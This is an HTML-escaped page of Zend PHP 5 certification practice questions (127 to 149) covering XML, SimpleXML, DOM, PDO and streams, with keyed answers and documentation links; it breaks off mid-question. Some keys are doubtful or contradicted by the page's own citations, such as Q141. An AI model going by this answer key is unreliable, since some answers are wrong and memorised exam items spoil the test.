&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.xml-set-element-handler.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.xml-set-element-handler.php&lt;/a&gt; – Set up start and end element handlers.&lt;br /&gt;
&lt;b&gt;127. What is the primary benefit of a SAX-based XML parser compared to DOM?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;All of the above&lt;/li&gt;
&lt;li&gt;Faster then DOM methods&lt;/li&gt;
&lt;li&gt;Requires less memory then DOM&lt;/li&gt;
&lt;li&gt;Easier to develop parsers&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Simple_API_for_XML#Benefits&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Simple_API_for_XML#Benefits&lt;/a&gt; and D because B &amp;amp; C is strongly right.&lt;br /&gt;
&lt;b&gt;128. What does the following PHP script accomplish?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$dom = new DomDocument();&lt;br /&gt;
$dom-&amp;gt;load(&#39;test.xml&#39;);&lt;br /&gt;
$body = $dom-&amp;gt;documentElement-&amp;gt;getElementsByTagName(&#39;body&#39;)-&amp;gt;item(0);&lt;br /&gt;
echo $body-&amp;gt;getAttributeNode(&#39;background&#39;)-&amp;gt;value. &quot;\n&quot;;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Displays the content of every &amp;lt;body&amp;gt; node&lt;/li&gt;
&lt;li&gt;Displays the «background» attribute for the first node in the XML document named «body»&lt;/li&gt;
&lt;li&gt;Displays the content of every node that has a «background» node&lt;/li&gt;
&lt;li&gt;Displays the «background» attribute of every node named «body»&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru2.php.net/manual/en/function.domdocument-get-elements-by-tagname.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru2.php.net/manual/en/function.domdocument-get-elements-by-tagname.php&lt;/a&gt; – Returns array with nodes with given tagname in document or empty array, if not found&lt;br /&gt;
&lt;b&gt;129. Creating new nodes in XML documents using PHP can be done using which XML/PHP 5 technologies?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;XQuery&lt;/li&gt;
&lt;li&gt;XPath&lt;/li&gt;
&lt;li&gt;SimpleXML&lt;/li&gt;
&lt;li&gt;DOM&lt;/li&gt;
&lt;li&gt;SAX&lt;/li&gt;
&lt;/ol&gt;
Answer: C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/class.simplexmlelement.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/class.simplexmlelement.php&lt;/a&gt; – public SimpleXMLElement addChild, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/domdocument.createelement.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/domdocument.createelement.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;130. Consider the following simple PHP script. What XPath query should go in the ?????? above to display the «bgcolor» attribute of the first «body» node in the XML document?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$dom = new DomDocument();&lt;br /&gt;
$dom-&amp;gt;load(&#39;test.xml&#39;);&lt;br /&gt;
$xpath = new DomXPath($dom);&lt;br /&gt;
$nodes = $xpath-&amp;gt;query(???????, $dom-&amp;gt;documentElement);&lt;br /&gt;
echo $nodes-&amp;gt;item(0)-&amp;gt;getAttributeNode(&#39;bgcolor&#39;)-&amp;gt;value&lt;br /&gt;
. &quot;\n&quot;;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;«*[local-name()=&#39;body&#39;]«&lt;/li&gt;
&lt;li&gt;«/body[0]/text»&lt;/li&gt;
&lt;li&gt;«/body/body[0]«&lt;/li&gt;
&lt;li&gt;«name=&#39;body&#39;»&lt;/li&gt;
&lt;li&gt;«*[lname()=&#39;body&#39;]«&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.w3.org/TR/xpath/#function-local-name&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.w3.org/TR/xpath/#function-local-name&lt;/a&gt; – returns the local part of the &lt;a href=&quot;http://wmdn.ru/goto/http://www.w3.org/TR/xpath/#dt-expanded-name&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;expanded-name&lt;/a&gt; of the node in the argument node-set that is first in &lt;a href=&quot;http://wmdn.ru/goto/http://www.w3.org/TR/xpath/#dt-document-order&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;document order&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;131. Consider the following PHP script fragment. What should ??????? be replaced with to add a &amp;lt;title&amp;gt; node with the value of Hello, World!&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$title = $dom-&amp;gt;createElement(&#39;title&#39;);&lt;br /&gt;
$node = ????????&lt;br /&gt;
$title-&amp;gt;appendChild($node);&lt;br /&gt;
$head-&amp;gt;appendChild($title);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;$dom-&amp;gt;createTextNode(„Hello, World“);&lt;/li&gt;
&lt;li&gt;$dom-&amp;gt;appendElement($title, „text“, „Hello, world!“);&lt;/li&gt;
&lt;li&gt;$dom-&amp;gt;appendTextNode($title, „Hello, World!“);&lt;/li&gt;
&lt;li&gt;$dom-&amp;gt;createElement(&#39;text&#39;, „Hello, World“);&lt;/li&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
As for me its could be options A (&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/domdocument.createtextnode.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/domdocument.createtextnode.php&lt;/a&gt;) and В (&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/domdocument.createelement.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/domdocument.createelement.php&lt;/a&gt;) but in both exclamation mark is missed.&lt;br /&gt;
&lt;b&gt;132. When working with SimpleXML in PHP 5, the four basic rules on how the XML document is accessed are which of the following?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Element namespaces are denoted by the &#39;namespace&#39; attribute&lt;/li&gt;
&lt;li&gt;converting an element to a string denotes text data&lt;/li&gt;
&lt;li&gt;Non-numeric indexes are element attributes&lt;/li&gt;
&lt;li&gt;Numeric indexes are elements&lt;/li&gt;
&lt;li&gt;Properties denote element iterators&lt;/li&gt;
&lt;/ol&gt;
Answer: B, C, D, E&lt;br /&gt;
Because &lt;a href=&quot;http://wmdn.ru/goto/http://docs.php.net/manual/en/simplexmlelement.getnamespaces.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://docs.php.net/manual/en/simplexmlelement.getnamespaces.php&lt;/a&gt; namespaces are denoted by the ‘xmlns’ attribute.&lt;br /&gt;
&lt;b&gt;133. SimpleXML objects can be created from what types of data sources?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;A String&lt;/li&gt;
&lt;li&gt;An array&lt;/li&gt;
&lt;li&gt;A DomDocument object&lt;/li&gt;
&lt;li&gt;A URI&lt;/li&gt;
&lt;li&gt;A Database resource&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/simplexmlelement.construct.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/simplexmlelement.construct.php&lt;/a&gt; — (Data: A well-formed XML string or the path or URL to an XML document if data_is_url is TRUE.) Example #2 Create a SimpleXMLElement object from a URL.&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/function.simplexml-import-dom.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;simplexml_import_dom&lt;/a&gt; — Get a SimpleXMLElement object from a DOM node,&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/function.simplexml-load-string.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;simplexml_load_string&lt;/a&gt; — Interprets a string of XML into an object&lt;br /&gt;
&lt;b&gt;134. Given the following XML document in a SimpleXML object. Select the proper statement below which will display the HREF attribute of the anchor tag.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&amp;lt;?xml version=»1.0&quot; encoding=»ISO-8859-1&quot; ?&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&lt;br /&gt;
PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN»&lt;br /&gt;
«http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»&amp;gt;&lt;br /&gt;
&amp;lt;html xmlns=»http://www.w3.org/1999/xhtml» xml:lang=»en» lang=»en»&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;XML Example&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
Moved to &amp;amp;lt;&amp;lt;a href=»http://example.org/»&amp;gt;http://www.example.org/&amp;lt;/a&amp;gt;.&amp;amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;$sxe-&amp;gt;body-&amp;gt;p[0]-&amp;gt;a[1][&#39;href&#39;]&lt;/li&gt;
&lt;li&gt;$sxe-&amp;gt;body-&amp;gt;p-&amp;gt;a-&amp;gt;href&lt;/li&gt;
&lt;li&gt;$sxe-&amp;gt;body-&amp;gt;p-&amp;gt;a[&#39;href&#39;]&lt;/li&gt;
&lt;li&gt;$sxe[&#39;body&#39;][&#39;p&#39;][0][&#39;a&#39;][&#39;href&#39;]&lt;/li&gt;
&lt;li&gt;$sxe-&amp;gt;body-&amp;gt;p[1]-&amp;gt;a[&#39;href&#39;]&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/simplexml.examples-basic.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/simplexml.examples-basic.php&lt;/a&gt;: Example #5 Using attributes.&lt;br /&gt;
With p[0] is also working but without a[1][&#39;href&#39;].&lt;br /&gt;
&lt;b&gt;135. Given the following PHP script. What should go in place of ????? above to print the string ‘Hello, World!’ (with no leading/trailing whitespace or markup)?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$xmldata = &amp;lt;&amp;lt;&amp;lt; XML&lt;br /&gt;
&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot; ?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&lt;br /&gt;
PUBLIC «-//W3C//DTD XHTML 1.0 Transitional//EN»&lt;br /&gt;
«http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd»&amp;gt;&lt;br /&gt;
&amp;lt;html xmlns=»http://www.w3.org/1999/xhtml» xml:lang=»en» lang=»en»&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;lt;title&amp;gt;XML Example&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Hello, World!&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
XML;&lt;br /&gt;
$sxe = simplexml_load_string($xmldata);&lt;br /&gt;
$p = $sxe-&amp;gt;body-&amp;gt;p;&lt;br /&gt;
$string = ????????&lt;br /&gt;
print $string;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;trim(($p[1]));&lt;/li&gt;
&lt;li&gt;trim(strip_tags(($p-&amp;gt;asText())));&lt;/li&gt;
&lt;li&gt;trim(strip_tags(($p-&amp;gt;asXML())));&lt;/li&gt;
&lt;li&gt;trim(($p-&amp;gt;asXML()));&lt;/li&gt;
&lt;li&gt;strip_tags(($p-&amp;gt;asXML()));&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/simplexmlelement.asxml.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/simplexmlelement.asxml.php&lt;/a&gt; and also SimpleXMLElement::asText() is not exists&lt;br /&gt;
&lt;b&gt;136. The following is a common XML structure used in service oriented architectures, what does it represent?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&amp;lt;?xml version=»1.0&quot;?&amp;gt;&lt;br /&gt;
&amp;lt;methodCall&amp;gt;&lt;br /&gt;
&amp;lt;methodName&amp;gt;myMethod&amp;lt;/methodName&amp;gt;&lt;br /&gt;
&amp;lt;params&amp;gt;&lt;br /&gt;
&amp;lt;param&amp;gt;&lt;br /&gt;
&amp;lt;value&amp;gt;&amp;lt;string&amp;gt;HI!&amp;lt;/string&amp;gt;&amp;lt;/value&amp;gt;&lt;br /&gt;
&amp;lt;/param&amp;gt;&lt;br /&gt;
&amp;lt;/params&amp;gt;&lt;br /&gt;
&amp;lt;/methodCall&amp;gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;li&gt;A fragment of a complete SOAP request&lt;/li&gt;
&lt;li&gt;XML-RPC&lt;/li&gt;
&lt;li&gt;REST&lt;/li&gt;
&lt;li&gt;SOAP&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/XML-RPC&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/XML-RPC&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;137. Which of the following functions are part of PHP&#39;s internal Iterator interface?&lt;/b&gt; (Choose 5 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;rewind()&lt;/li&gt;
&lt;li&gt;valid()&lt;/li&gt;
&lt;li&gt;next()&lt;/li&gt;
&lt;li&gt;key()&lt;/li&gt;
&lt;li&gt;current()&lt;/li&gt;
&lt;/ol&gt;
Answer: ALL&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/class.iterator.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/class.iterator.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;138. Consider the following script. Assuming the referenced XML document exists and matches the parsing logic, what should be displayed when this script is executed? (Choose 1 answer)&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$dom = new DOMDOcument();&lt;br /&gt;
$dom-&amp;gt;load(&quot;myxmlfile.xml&quot;);&lt;br /&gt;
foreach($dom-&amp;gt;documentElement-&amp;gt;childNodes as $child)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;if(($child-&amp;gt;nodeType == XML_ELEMENT_NODE) &amp;amp;&amp;amp; $child-&amp;gt;nodeName == &quot;item&quot;)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;foreach($child-&amp;gt;childNodes as $item)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(($item-&amp;gt;nodeType == XML_ELEMENT_NODE) &amp;amp;&amp;amp; ($item-&amp;gt;nodeName == &quot;title&quot;))&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;$item-&amp;gt;firstChild-&amp;gt;data\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;li&gt;The XML of each &#39;title&#39; node&lt;/li&gt;
&lt;li&gt;The XML of each &#39;item&#39; node&lt;/li&gt;
&lt;li&gt;«Title» for every title node in the document&lt;/li&gt;
&lt;li&gt;The contents of every &#39;title&#39; node which exists under an &#39;item&#39; node&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.domnode-node-type.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.domnode-node-type.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;139. Which of the following methods are used to fetch data from a PDO Statement?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;fetchColumn()&lt;/li&gt;
&lt;li&gt;fetchObject()&lt;/li&gt;
&lt;li&gt;fetch()&lt;/li&gt;
&lt;li&gt;fetchClass()&lt;/li&gt;
&lt;li&gt;fetchRow()&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B, C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/pdostatement.fetch.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/pdostatement.fetch.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;140. In a general sense, which is more important: performance or maintainability of an application?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;performance first, maintainability second&lt;/li&gt;
&lt;li&gt;Maintainability first, performance second&lt;/li&gt;
&lt;li&gt;Maintainability&lt;/li&gt;
&lt;li&gt;Performance&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
Link?&lt;br /&gt;
&lt;b&gt;141. When writing portable database code using PDO, what is the PDO::ATTR_CASE attribute useful for?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;li&gt;Ensuring that all columns are of a particular case when fetched&lt;/li&gt;
&lt;li&gt;Adjusting the case of a query before it is processed for compatibility reasons&lt;/li&gt;
&lt;li&gt;Controls the switch logic of how queries are processed&lt;/li&gt;
&lt;li&gt;Allows you to adjust the memory cache (or «case») for increased performance&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/pdo.setattribute.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/pdo.setattribute.php&lt;/a&gt; — PDO::ATTR_CASE: Force column names to a specific case.&lt;br /&gt;
&lt;b&gt;142. Consider the following PHP code segment, which attempts to execute a PDO query.&lt;br /&gt;
In the event of a PDOException, $info is set with the contents of the $errorInfo property of the exception. Which of the following are accurate descriptions of the contents?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
try {&lt;br /&gt;
$dbh-&amp;gt;exec($sql);&lt;br /&gt;
} catch (PDOException $e) {&lt;br /&gt;
// display warning message&lt;br /&gt;
$info = $e-&amp;gt;errorInfo;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;$info[1] is the database-specific error code&lt;/li&gt;
&lt;li&gt;$info[2] is the database-specific error message&lt;/li&gt;
&lt;li&gt;$info[1] is the unified error code&lt;/li&gt;
&lt;li&gt;$info[0] is the unified error code&lt;/li&gt;
&lt;li&gt;$info[0] Is the Database-specific error message&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/pdo.errorinfo.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/pdo.errorinfo.php&lt;/a&gt;: 0 – SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard), 1 – Driver-specific error code, 2 – Driver-specific error message.&lt;br /&gt;
&lt;b&gt;143. Which of the following functions allow you to introspect the call stack during execution of a PHP script?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;get_backtrace()&lt;/li&gt;
&lt;li&gt;get_function_stack()&lt;/li&gt;
&lt;li&gt;debug_backtrace()&lt;/li&gt;
&lt;li&gt;debug_print_backtrace()&lt;/li&gt;
&lt;li&gt;print_backtrace()&lt;/li&gt;
&lt;/ol&gt;
Answer: C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual-lookup.php?pattern=backtrace=en&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual-lookup.php?pattern=backtrace=en&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;144. When working with a database, which of the following can be used to mitigate the possibility of exposing your database credentials to a malicious user?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Moving all database credentials into a single file&lt;/li&gt;
&lt;li&gt;Moving all database credentials outside of the document root&lt;/li&gt;
&lt;li&gt;Restricting access to files not designed to be executed independently&lt;/li&gt;
&lt;li&gt;Setting credential information as system environment variables&lt;/li&gt;
&lt;li&gt;Using PHP constants instead of variables to store credentials&lt;/li&gt;
&lt;/ol&gt;
Answer: B, C, D&lt;br /&gt;
Links? &lt;a href=&quot;http://wmdn.ru/goto/http://forums.zend.com/viewtopic.php?f=63&amp;amp;t=7124&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Some thoughts from zend forum&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;145. When running PHP in a shared host environment, what is the major security concern when it comes to session data?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Sessions on shared hosts are easily hijacked by outside malicious users&lt;/li&gt;
&lt;li&gt;All of the above&lt;/li&gt;
&lt;li&gt;You cannot use a custom data store in shared hosts&lt;/li&gt;
&lt;li&gt;Session data stored in the file system can be read by other scripts on the same shared host&lt;/li&gt;
&lt;li&gt;Users outside the shared host can access any site which created a session for them&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://phpsec.org/projects/guide/5.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://phpsec.org/projects/guide/5.html&lt;/a&gt;: “By default, PHP stores session data in /tmp, and this is true for everyone.” — And /tmp is readable for every account on that host.&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;146. Which of the following are examples of the new engine executor models available in PHP 5?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Switch&lt;/li&gt;
&lt;li&gt;Conditional&lt;/li&gt;
&lt;li&gt;Goto&lt;/li&gt;
&lt;li&gt;Call&lt;/li&gt;
&lt;li&gt;Dynamic&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://sebastian-bergmann.de/archives/504-PHP-5.1-Performance.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://sebastian-bergmann.de/archives/504-PHP-5.1-Performance.html&lt;/a&gt;: the new three execution models CALL, GOTO, SWITCH (&lt;a href=&quot;http://wmdn.ru/goto/http://devzone.zend.com/article/459&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;also from ZDZ&lt;/a&gt;)&lt;br /&gt;
&lt;b&gt;147. Which of the following are not true about streams?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;They are always seek-able&lt;/li&gt;
&lt;li&gt;When used properly they significantly reduce memory consumption&lt;/li&gt;
&lt;li&gt;They can be applied to any data source&lt;/li&gt;
&lt;li&gt;They are always bi-directional&lt;/li&gt;
&lt;li&gt;They can be filtered&lt;/li&gt;
&lt;/ol&gt;
Answer: A, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/streamwrapper.stream-seek.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/streamwrapper.stream-seek.php&lt;/a&gt;: If not implemented, FALSE is assumed as the return value. — This would indicate that stream_seek provides no guarantee of usage. Also &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.stream-get-meta-data.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.stream-get-meta-data.php&lt;/a&gt; shown seek-able stream or not.&amp;nbsp;&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/function.popen.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/function.popen.php&lt;/a&gt; — may be bi-directional but not always.&lt;br /&gt;
&lt;b&gt;148. Using flock() to lock a stream is only assured to work under what circumstances?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;When running in a Linux environment local filesystem&lt;/li&gt;
&lt;li&gt;When accessing the stream of the local filesystem&lt;/li&gt;
&lt;li&gt;When running in a Windows environment and accessing a share&lt;/li&gt;
&lt;li&gt;When accessing a bi-directional stream&lt;/li&gt;
&lt;li&gt;When accessing a read-only stream&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.flock.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.flock.php&lt;/a&gt;: flock() allows you to perform a simple reader/writer model which can be used on virtually every platform (including most Unix derivatives and even Windows).&lt;br /&gt;
Note:&lt;br /&gt;
May only be used on file pointers returned by &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/function.fopen.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;fopen()&lt;/a&gt; for local files, or file pointers pointing to userspace streams that implement the &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/streamwrapper.stream-lock.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;streamWrapper::stream_lock()&lt;/a&gt; method.&lt;br /&gt;
&lt;b&gt;149. What is wrong with the following code snippet? Assume default configuration values apply.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$fp = fsockopen(&#39;www.php.net&#39;, 80);&lt;br /&gt;
fwrite($fp, &quot;GET / HTTP/1.0\r\nHost: www.php.net\r\n&quot;);&lt;br /&gt;
$data = fread($fp, 8192);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;The request is blocking and may cause fread() to hang&lt;/li&gt;
&lt;li&gt;The HTTP request is malformed&lt;/li&gt;
